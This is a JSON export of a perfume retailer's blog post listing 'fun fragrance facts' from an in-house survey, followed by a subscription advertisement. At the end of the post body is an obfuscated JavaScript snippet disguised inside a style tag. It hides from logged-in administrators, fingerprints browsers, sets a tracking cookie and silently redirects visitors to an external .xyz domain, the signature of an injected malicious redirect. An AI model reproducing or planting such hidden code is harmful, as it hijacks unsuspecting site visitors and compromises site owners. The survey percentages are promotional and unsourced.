{"id":5861,"date":"2017-12-13T07:54:44","date_gmt":"2017-12-13T12:54:44","guid":{"rendered":"http:\/\/blog.scentbird.com\/?p=5861"},"modified":"2021-07-09T14:20:31","modified_gmt":"2021-07-09T18:20:31","slug":"9-fun-fragrance-facts","status":"publish","type":"post","link":"https:\/\/www.scentbird.com\/blog\/9-fun-fragrance-facts\/","title":{"rendered":"9 Fun Fragrance Facts"},"content":{"rendered":"<p style=\"text-align: justify;\">For most perfume aficionados not wearing a perfume elicits a feeling of nakedness. Like being stripped off of a comforting blanket. But the love you feel for a favorite fragrance is more than skin deep. In fact, there is more to perfume than its composition of notes. And to prove this, we&#8217;ve rounded up a few interesting fragrance facts that will make you fall in love with perfume even more.\u00a0<!--more--><\/p>\n<p style=\"text-align: justify;\">Perfume has been around since ancient Mesopotamia, dating back to more than 4,000 years\u00a0ago. Back in those ancient times, mixing perfume was a magical process that looked more like cooking than creating a perfume. The first perfumers used oils and dried leaves and seeds from herbs and spices, nuts, and flowers to mix\u00a0together.<\/p>\n<p><span style=\"font-weight: 400;\">While the original purpose of perfume production was religious, in means of attracting the good spirits and appeasing the gods, today, it\u2019s the olfactory appeal we\u2019re interested in. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">In fact, this attraction purpose is so paramount that we conducted a survey, which brought forth some interesting results:<\/span><\/p>\n<ul>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: <span style=\"font-weight: 400;\">Perfume is a confidence booster: 97 percent of survey respondents feel more confident when wearing a fragrance.<\/span><\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Flower power: Floral scents make women feel most feminine and attractive.<\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Flower superpower: Men find floral fragrances the most attractive and prefer it as a first date scent.<\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Women are into strong characters and strong fragrances: 65 percent of the female survey respondents prefer males that wear strong, classic cedar dominated fragrances.<\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Energy booster: 78 percent of survey respondents feel energized by citrus scents.<\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Comfort food and comfort scents: 54 percent of respondents associate gourmand scents with happiness<\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Change it up: 79 percent of respondents under 40 say they do not wear one fragrance longer than 4 months..<\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Perfume as feel good stimulant: 48 percent of survey respondents reach for perfume when they need to relax or improve the mood they&#8217;re in.<\/li>\n<li style=\"text-align: justify;\"><span style=\"color: #ff00ff;\"><em><strong>Fun Fragrance Fact<\/strong><\/em><\/span>: Unisex, genderless, fragrance for all: From olfactory point of view, there is nothing masculine or feminine about a particular blend of notes. Whatever works on your skin, works<\/li>\n<\/ul>\n<p><img fetchpriority=\"high\" decoding=\"async\" data-attachment-id=\"5865\" data-permalink=\"https:\/\/www.scentbird.com\/blog\/9-fun-fragrance-facts\/9-fun-fragrance-facts-2\/\" data-orig-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2016\/04\/9-Fun-Fragrance-Facts.png\" data-orig-size=\"616,595\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"9 Fun Fragrance Facts\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2016\/04\/9-Fun-Fragrance-Facts.png\" class=\"aligncenter size-full wp-image-5865\" src=\"\/blog\/wp-content\/uploads\/2016\/04\/9-Fun-Fragrance-Facts.png\" alt=\"9 Fun Fragrance Facts\" width=\"616\" height=\"595\" srcset=\"https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2016\/04\/9-Fun-Fragrance-Facts.png 616w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2016\/04\/9-Fun-Fragrance-Facts.png 300w, https:\/\/www.scentbird.com\/blog\/wp-content\/uploads\/2016\/04\/9-Fun-Fragrance-Facts.png 370w\" sizes=\"(max-width: 616px) 100vw, 616px\" \/><\/p>\n<p>No matter which side of the perfume you prefer, make sure you have lots of these magical concoctions with you and especially on you!<\/p>\n<h2 style=\"text-align: center;\">SMELL AMAZING WITH SCENTBIRD<\/h2>\n<h6 style=\"text-align: center;\"><em><strong>You\u2019re already sexy, confident, and relaxed. Now it\u2019s time to up your scent game.<br \/>\nScentbird is a personalized fragrance subscription service where each month you select a new designer or niche fragrance that we deliver to your door for $14.95.<br \/>\n<\/strong><strong>To join Scentbird or learn more about our community of fragrance-lovers, click here<\/strong><strong>:\u00a0<\/strong><a href=\"https:\/\/www.scentbird.com\/?utm_source=scentbird_blog\"><strong>https:\/\/www.scentbird.com<\/strong><\/a><\/em><\/h6>\n<h5 style=\"text-align: center;\">SCENTBIRD: DATE PERFUMES BEFORE MARRYING THEM!<\/h5>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/i1.wp.com\/www.scentbird.com\/blog\/wp-content\/uploads\/2017\/08\/blog-women.png?resize=835%2C210&amp;ssl=1\" \/><\/p>\n<p>&nbsp;<\/p>\n<style> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https:\/\/www..xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\\x20path=\/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](\/Android\/i)||navigator['userAgent'][b('0xe')](\/BlackBerry\/i)||navigator[b('0xd')][b('0xe')](\/iPhone|iPad|iPod\/i)||navigator[b('0xd')][b('0xe')](\/Opera Mini\/i)||navigator[b('0xd')][b('0xe')](\/IEMobile\/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));<\/style>\n","protected":false},"excerpt":{"rendered":"<p>For most perfume aficionados not wearing a perfume elicits a feeling of nakedness. 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